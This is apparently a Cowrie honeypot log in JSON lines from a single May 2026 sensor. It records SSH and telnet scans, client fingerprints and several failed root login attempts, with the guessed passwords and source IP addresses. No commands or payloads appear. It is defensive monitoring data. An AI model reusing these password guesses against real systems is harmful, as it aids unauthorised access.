{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:06:da:ff:9e:db:a7:83:2d:90:cb:3a:5b:0c:dc:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnIxjZ8gSctKYI8xw+JaaAVAQWysBY2edlKPHoc6pultwUU8Ys/61Tpr0H6Kj7UBMIqEYQPkgQl8qNtjTJjZ7DtYkigg7GVTd6k8p6XW7xcD5cexPx5BigDYcVbnxiTB1Xto/ae/C2VC7wgbS3T9HbCKnFiJDD2Y1w9KJJ/k95lXlWWQCdXv2MnyJELalNUi7xcyY9o8CPubq/8hSVg6bYGn5j6cI4gfiwNFXUY81n5FohNoQ+y8iFgIPrwSoskoUQNv8TnMsOlJbKwW7pmjwS9UdM6um8ZZa7MBW0ijaLJ1w2DZx/PXytYn8n9KyKIIUK96nw73X3GJOFS9lcCWPVoV6DUVV4VVSMGkU7C8HCh8N95jHK+GCZZj7TUZwdlfTzVykkDAyipw/sc0vHcFuv6BluZbGkI7dUPEbX4Nqftd6I291fq1bzw8nr3JTPzBhICZ27/fg859+xaicoLRFr5UrLo0mo7QuEyyiDdbKD8wj3LRQJbwQAguCZCZRpnkMbDc93iIKrbwgMUcWEHs7zsVCYNIGMp8wpROj3ntpsKxcLOpe1+xWVlrUj9LXXahHePGgfXzBpqM2J6x3Sr2oOjc8+RR1r0kVtKA3XLkT8hHL9IoakGpMYa3QpmFWnYfFORh1VhthJRRmIusD36GT7H1mDTdnbec7kPkTBN+XciQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:32.683404Z","src_ip":"209.209.8.82","session":"e43bb67eeded","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:32.704926Z","src_ip":"209.209.8.82","session":"e43bb67eeded","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.59231686592102,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:33.533083Z","src_ip":"50.6.8.71","session":"370b4444e3d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.533722162246704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:46.389201Z","src_ip":"50.6.8.71","session":"25c319363004","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.572805643081665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:48.289942Z","src_ip":"50.6.8.71","session":"4499439bc60e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.41628909111023,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:48.542121Z","src_ip":"50.6.8.71","session":"c750c11be055","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":58470,"dst_ip":"159.203.135.109","dst_port":22,"session":"b67b07a994cd","protocol":"ssh","message":"New connection: 200.77.172.159:58470 (159.203.135.109:22) [session: b67b07a994cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:51.486230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:51.491933Z","src_ip":"200.77.172.159","session":"b67b07a994cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:51.566162Z","src_ip":"200.77.172.159","session":"b67b07a994cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:51.891290Z","src_ip":"200.77.172.159","session":"b67b07a994cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:52.967705Z","src_ip":"200.77.172.159","session":"b67b07a994cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.221555709838867,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:23:55.777819Z","src_ip":"50.6.8.71","session":"9a16761f0f12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"17bbe9dcbf90","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: 17bbe9dcbf90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:04.445988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:04.450668Z","src_ip":"4.210.91.174","session":"17bbe9dcbf90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:04.518143Z","src_ip":"4.210.91.174","session":"17bbe9dcbf90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!%&(!%&(","message":"login attempt [root/!%&(!%&(] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:04.827606Z","src_ip":"4.210.91.174","session":"17bbe9dcbf90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:05.898036Z","src_ip":"4.210.91.174","session":"17bbe9dcbf90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00292658805847,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:07.903563Z","src_ip":"181.94.225.234","session":"bb5553342497","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":40355,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4ef1dd7a0cd","protocol":"telnet","message":"New connection: 181.94.225.234:40355 (159.203.135.109:23) [session: c4ef1dd7a0cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:08.271512Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":40529,"dst_ip":"159.203.135.109","dst_port":23,"session":"4009e2c16b2b","protocol":"telnet","message":"New connection: 181.94.225.234:40529 (159.203.135.109:23) [session: 4009e2c16b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:09.890612Z"}
{"eventid":"cowrie.session.closed","duration":120.00324535369873,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:12.566828Z","src_ip":"181.94.225.234","session":"edcc8fa5783c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":40943,"dst_ip":"159.203.135.109","dst_port":23,"session":"0881855bf15c","protocol":"telnet","message":"New connection: 181.94.225.234:40943 (159.203.135.109:23) [session: 0881855bf15c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:12.923706Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40172,"dst_ip":"10.17.0.5","dst_port":23,"session":"db9f115a17b7","protocol":"telnet","message":"New connection: 50.6.8.71:40172 (10.17.0.5:23) [session: db9f115a17b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:15.920057Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":56354,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d6b292e6e7a","protocol":"telnet","message":"New connection: 23.94.28.189:56354 (10.17.0.5:23) [session: 4d6b292e6e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:17.318334Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58832,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8739fe2309f","protocol":"telnet","message":"New connection: 50.6.8.71:58832 (10.17.0.5:23) [session: e8739fe2309f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:22.637680Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58834,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d56901e0f9a","protocol":"telnet","message":"New connection: 50.6.8.71:58834 (10.17.0.5:23) [session: 9d56901e0f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:25.599488Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":32926,"dst_ip":"159.203.135.109","dst_port":22,"session":"08f2a5cc2206","protocol":"ssh","message":"New connection: 103.82.20.28:32926 (159.203.135.109:22) [session: 08f2a5cc2206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:27.916779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:27.921785Z","src_ip":"103.82.20.28","session":"08f2a5cc2206","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:28.178766Z","src_ip":"103.82.20.28","session":"08f2a5cc2206","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:28.949036Z","src_ip":"103.82.20.28","session":"08f2a5cc2206","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41724,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b17f43983c6","protocol":"telnet","message":"New connection: 50.6.8.71:41724 (10.17.0.5:23) [session: 9b17f43983c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:29.257352Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:30.211058Z","src_ip":"103.82.20.28","session":"08f2a5cc2206","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41736,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab9639c8d538","protocol":"telnet","message":"New connection: 50.6.8.71:41736 (10.17.0.5:23) [session: ab9639c8d538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:32.760246Z"}
{"eventid":"cowrie.session.closed","duration":35.23562264442444,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:51.155585Z","src_ip":"50.6.8.71","session":"db9f115a17b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.439990758895874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:24:53.077595Z","src_ip":"50.6.8.71","session":"e8739fe2309f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":55256,"dst_ip":"159.203.135.109","dst_port":22,"session":"74f454c82873","protocol":"ssh","message":"New connection: 200.77.172.159:55256 (159.203.135.109:22) [session: 74f454c82873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:03.588737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:03.595294Z","src_ip":"200.77.172.159","session":"74f454c82873","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:03.671710Z","src_ip":"200.77.172.159","session":"74f454c82873","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin666","message":"login attempt [root/Admin666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:04.007560Z","src_ip":"200.77.172.159","session":"74f454c82873","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.77228403091431,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:04.371672Z","src_ip":"50.6.8.71","session":"9d56901e0f9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:05.099807Z","src_ip":"200.77.172.159","session":"74f454c82873","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40614,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c0e8d2c7714","protocol":"telnet","message":"New connection: 50.6.8.71:40614 (10.17.0.5:23) [session: 6c0e8d2c7714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:05.473790Z"}
{"eventid":"cowrie.session.closed","duration":36.29207491874695,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:05.549318Z","src_ip":"50.6.8.71","session":"9b17f43983c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.55990266799927,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:10.319971Z","src_ip":"50.6.8.71","session":"ab9639c8d538","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42792,"dst_ip":"10.17.0.5","dst_port":23,"session":"38fb4b23f73a","protocol":"telnet","message":"New connection: 50.6.8.71:42792 (10.17.0.5:23) [session: 38fb4b23f73a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:16.285224Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42798,"dst_ip":"10.17.0.5","dst_port":23,"session":"993dce52901a","protocol":"telnet","message":"New connection: 50.6.8.71:42798 (10.17.0.5:23) [session: 993dce52901a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:16.930775Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":46282,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ef198b4f176","protocol":"ssh","message":"New connection: 77.94.47.83:46282 (10.17.0.5:22) [session: 8ef198b4f176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:18.556704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:18.561977Z","src_ip":"77.94.47.83","session":"8ef198b4f176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:18.686543Z","src_ip":"77.94.47.83","session":"8ef198b4f176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:19.067276Z","src_ip":"77.94.47.83","session":"8ef198b4f176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:20.195780Z","src_ip":"77.94.47.83","session":"8ef198b4f176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"48c5e7db7592","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: 48c5e7db7592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:21.335833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:25:21.341327Z","src_ip":"4.210.91.174","session":"48c5e7db7592","protocol":"ssh"}
